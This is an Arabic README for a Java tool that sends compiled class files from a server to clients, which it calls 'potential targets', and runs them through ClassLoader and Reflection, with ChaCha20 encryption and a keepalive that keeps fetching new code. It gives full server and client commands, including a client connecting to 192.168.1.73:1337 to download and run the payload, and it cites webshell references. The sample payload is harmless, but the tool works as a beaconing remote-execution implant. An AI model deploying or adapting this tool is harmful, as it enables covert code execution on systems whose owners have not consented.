
أداة خادم-عميل لتحميل وتنفيذ Java bytecode عن بعد عبر ClassLoader وواجهة Reflect API، مع تشفير ChaCha20 واتصال نبضات البقاء.
تتيح لك هذه الأداة إرسال كود بايت جافا (Java bytecode) على شكل ملفات كلاس (class files) إلى عملائك (أو الأهداف المحتملة) لتحميلها وتنفيذها باستخدام محمل الفئات (ClassLoader) الخاص بجافا مع واجهة Reflect API. يستقبل العميل ملف الفئة من الخادم ويعيد مخرجات التنفيذ المقابلة. يجب أن تُكتب الحمولات (Payloads) بلغة جافا وتُجمَّع قبل بدء تشغيل الخادم.
تم اختبار الأداة باستخدام OpenJDK 11 مع حزمة JRE جافا، على كل من ويندوز ولينكس (إصدار محمول مضغوط zip). يجب أن يكون إصدار جافا 11 أو أعلى بسبب التبعيات.
https://www.openlogic.com/openjdk-downloads
$ java -jar java-class-loader.jar -help
usage: Main
-address <arg> address to connect (client) / to bind (server)
-classfile <arg> filename of bytecode .class file to load remotely
(default: Payload.class)
-classmethod <arg> name of method to invoke (default: exec)
-classname <arg> name of class (default: Payload)
-client run as client
-help print this message
-keepalive keeps the client getting classfile from server every
X seconds (default: 3 seconds)
-key <arg> secret key - 256 bits in base64 format (if not
specified it will generate a new one)
-port <arg> port to connect (client) / to bind (server)
-server run as server
بافتراض أن لديك الحمولة التالية "Hello World" في ملف Payload.java:
//Payload.java
public class Payload {
public static String exec() {
String output = "";
try {
output = "Hello world from client!";
} catch (Exception e) {
e.printStackTrace();
}
return output;
}
}
ثم يجب عليك تجميعها وإنتاج ملف Payload.class المقابل.
لتشغيل عملية الخادم التي تستمع على المنفذ 1337 على جميع واجهات الشبكة:
$ java -jar java-class-loader.jar -server -address 0.0.0.0 -port 1337 -classfile Payload.class
Running as server
Server running on 0.0.0.0:1337
Generated new key: TOU3TLn1QsayL1K6tbNOzDK69MstouEyNLMGqzqNIrQ=
على جانب العميل، يمكنك استخدام نفس حزمة JAR مع العلم -client واستخدام المفتاح المتناظر الذي أنشأه الخادم.
حدد عنوان IP الخادم والمنفذ للاتصال به. يمكنك أيضًا تغيير اسم الفئة واسم الطريقة (القيم الافتراضية هي Payload و String exec() على التوالي). بالإضافة إلى ذلك، يمكنك تحديد -keepalive لإبقاء العميل يطلب ملف الفئة من الخادم مع الحفاظ على الاتصال.
$ java -jar java-class-loader.jar -client -address 192.168.1.73 -port 1337 -key TOU3TLn1QsayL1K6tbNOzDK69MstouEyNLMGqzqNIrQ=
Running as client
Connecting to 192.168.1.73:1337
Received 593 bytes from server
Output from invoked class method: Hello world from client!
Sent 24 bytes to server
راجع https://vrls.ws/posts/2022/08/building-a-remote-class-loader-in-java/ للحصول على مقال مدونة مرتبط بتطوير هذه الأداة.
https://www.sangfor.com/blog/cybersecurity/behinder-v30-analysis
https://medium.com/@m01e/jsp-webshell-cookbook-part-1-6836844ceee7
https://venishjoe.net/post/dynamically-load-compiled-java-class/
https://users.cs.jmu.edu/bernstdh/web/common/lectures/slides_class-loaders_remote.php
https://www.javainterviewpoint.com/chacha20-poly1305-encryption-and-decryption/
https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/lang/ClassLoader.html
https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/lang/reflect/Method.html